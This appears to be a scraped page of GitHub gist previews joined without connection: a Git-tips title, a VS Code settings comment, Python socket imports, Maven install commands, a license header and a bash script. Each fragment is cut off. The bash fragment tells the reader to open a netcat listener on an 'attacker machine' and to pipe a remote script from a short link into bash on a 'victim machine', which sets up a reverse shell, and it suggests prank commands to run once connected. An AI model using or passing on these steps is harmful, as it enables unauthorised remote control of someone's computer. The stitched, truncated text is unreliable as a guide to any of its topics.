Dump of all commands from "So You Think You Know Git - FOSDEM 2024":
The full blog post: https://blog.gitbutler.com/git-tips-and-tricks/
Dump of all commands from "So You Think You Know Git - FOSDEM 2024":
The full blog post: https://blog.gitbutler.com/git-tips-and-tricks/
// I'm tired of extensions that automatically: | |
// - show welcome pages / walkthroughs | |
// - show release notes | |
// - send telemetry | |
// - recommend things | |
// | |
// This disables all of that stuff. | |
// If you have more config, leave a comment so I can add it!! | |
{ |
import ctypes | |
import ctypes.wintypes | |
import argparse | |
import socket | |
import struct | |
import os | |
INVALID_HANDLE_VALUE = ctypes.c_void_p(-1).value |
wget https://www-us.apache.org/dist/maven/maven-3/3.6.0/binaries/apache-maven-3.6.0-bin.tar.gz | |
sudo tar xf apache-maven-*.tar.gz -C /opt | |
sudo ln -s /opt/apache-maven-3.6.0 /opt/maven | |
sudo nano /etc/profile.d/maven.sh | |
# commit these 4 lines | |
export JAVA_HOME=/usr/lib/jvm/default-java | |
export M2_HOME=/opt/maven | |
export MAVEN_HOME=/opt/maven | |
export PATH=${M2_HOME}/bin:${PATH} | |
sudo chmod +x /etc/profile.d/maven.sh |
// | |
// Author: Jonathan Blow | |
// Version: 1 | |
// Date: 31 August, 2018 | |
// | |
// This code is released under the MIT license, which you can find at | |
// | |
// https://opensource.org/licenses/MIT | |
// | |
// |
#!/usr/bin/env bash | |
# run `nc -nvl 80` on attacker machine first | |
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine | |
# great commands to run: | |
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg | |
# open /tmp/monkey.jpg | |
# * say hello | |
# * open http://lmgtfy.com/?q=how+to+lock+mac | |
# * ls |